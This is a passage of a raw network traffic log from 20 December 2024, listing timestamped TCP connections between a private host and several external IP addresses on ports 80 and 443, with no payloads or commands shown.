Dec 20, 2024 11:12:45.360785961 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.360838890 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.361705065 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.361851931 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.361923933 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.362631083 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.362683058 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.407861948 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.407922983 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.407932997 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.408041954 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.408312082 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.408366919 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.408415079 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.408466101 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.409419060 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.409471035 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.409512043 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.409564018 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.410311937 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.410392046 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.410434008 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.410507917 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.411334991 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.411391973 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.411422014 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.411477089 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.412341118 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.412399054 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.412431002 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.412486076 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.413300037 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.413352966 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.413374901 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.413444996 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.414403915 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.414469004 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.414516926 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.414561987 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.415307999 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.415371895 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.415873051 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.415920019 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.416270018 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.416321993 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.416393042 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.416455030 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.417289019 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.417376995 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.417418957 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.417994976 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.418267965 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.418318033 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.418379068 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.418499947 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.419234037 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.419337988 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.420268059 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.420319080 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.420350075 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.420824051 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.421241045 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.421289921 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.421334982 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.421391010 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.422235966 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.422261000 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.422283888 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.422316074 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.423228025 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.423276901 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.423324108 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.423387051 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.464900970 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.464978933 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.465209007 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.465224981 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.465281963 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.465321064 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.466206074 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.466310024 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.467187881 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.467211962 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.467241049 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.467272043 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.468163013 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.468215942 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.468221903 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.468346119 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.469203949 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.469273090 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.469362020 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.469362974 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.470285892 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.470338106 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.470367908 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.471174002 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.471223116 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.471370935 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.472024918 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.472167969 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.472217083 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.472270966 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.472316980 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.473200083 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.473256111 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.473686934 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.474216938 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.474296093 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.474795103 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.475164890 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.475264072 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.475328922 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.476139069 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.476195097 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.476219893 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.476345062 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.477144957 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.477206945 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.477891922 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.505312920 CET	80	49860	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:45.505368948 CET	49860	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:45.507141113 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:45.507446051 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:45.539125919 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.539197922 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.539274931 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.539338112 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.539586067 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.539640903 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.539779902 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.539822102 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.540637970 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.540662050 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.540714979 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.541589022 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.541637897 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.541737080 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.542191029 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.542562962 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.542731047 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.542784929 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.543600082 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.543617964 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.543658018 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.543690920 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.544605970 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.544631958 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.544666052 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.544707060 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.545496941 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.545667887 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.545732021 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.546664000 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.546679974 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.546752930 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.546786070 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.547534943 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.547604084 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.547692060 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.548182011 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.548553944 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.548568964 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.548655987 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.548655987 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.549597025 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.549612999 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.549681902 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.550633907 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.550802946 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.550868034 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.551503897 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.551661968 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.552504063 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.552565098 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.552683115 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.553487062 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.553600073 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.553615093 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.553631067 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.553683043 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.553714991 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.554142952 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.554212093 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.555166960 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.555241108 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.555253983 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.556046963 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.556185961 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.556252003 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.557009935 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.557141066 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.557905912 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.558028936 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.558166027 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.558228970 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.559118032 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.559173107 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.559232950 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.560004950 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.562191010 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.600212097 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.600287914 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.600290060 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.600450039 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.600734949 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.600790977 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.600871086 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.600938082 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.601670980 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.601742029 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.601821899 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.601881027 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.602746964 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.602797985 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.602807999 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.602874994 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.603858948 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.603916883 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.604075909 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.604157925 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.605154037 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.605227947 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.605390072 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.605448961 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.605983973 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.606009960 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.606127977 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.606714964 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.606775999 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.606796026 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.606888056 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.607604980 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.607691050 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.607697010 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.608088970 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.608714104 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.608836889 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.608880043 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.609108925 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.609654903 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.609671116 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.609766960 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.610589981 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.610642910 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.610651970 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.610702038 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.611582041 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.611668110 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:45.611702919 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.611733913 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:45.626934052 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:45.627012968 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:45.627070904 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:45.627089024 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:45.631942034 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:45.690602064 CET	443	49859	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:45.690696955 CET	443	49859	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:45.691391945 CET	49859	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:45.708544970 CET	49859	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:45.708559990 CET	443	49859	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:45.751419067 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:46.028115988 CET	49867	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:46.028167963 CET	443	49867	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:46.028240919 CET	49867	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:46.028541088 CET	49867	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:46.028556108 CET	443	49867	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:46.961186886 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:46.961215973 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:46.961231947 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:46.961281061 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:46.961281061 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:46.961354971 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:46.961370945 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:46.961385965 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:46.961405039 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:46.961410999 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:46.961427927 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:46.961447954 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:46.961467028 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:46.961581945 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:46.961596966 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:46.961613894 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:46.961637974 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:46.961637974 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:46.961668968 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.081621885 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.081685066 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.081703901 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.081916094 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.153306007 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.153387070 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.153466940 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.155792952 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.155879974 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.155924082 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.156281948 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.164135933 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.164207935 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.164256096 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.164309025 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.172722101 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.172785997 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.172940016 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.172991991 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.180907011 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.180984020 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.181009054 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.181078911 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.189237118 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.189301014 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.189343929 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.190552950 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.192106009 CET	49873	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:47.192151070 CET	443	49873	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:47.192220926 CET	49873	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:47.193934917 CET	49873	443	192.168.2.4	172.67.197.170
Dec 20, 2024 11:12:47.193954945 CET	443	49873	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:47.197657108 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.197711945 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.197752953 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.197803020 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.206219912 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.206278086 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.206321955 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.206374884 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.214442015 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.214525938 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.214528084 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.214653969 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.222842932 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.222896099 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.222938061 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.222975969 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.230561018 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.230623007 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.230631113 CET	80	49866	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:47.230716944 CET	49866	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:47.239351988 CET	443	49867	172.67.197.170	192.168.2.4
Dec 20, 2024 11:12:47.239409924 CET	49867	443	192.168.2.4	172.67.197.170
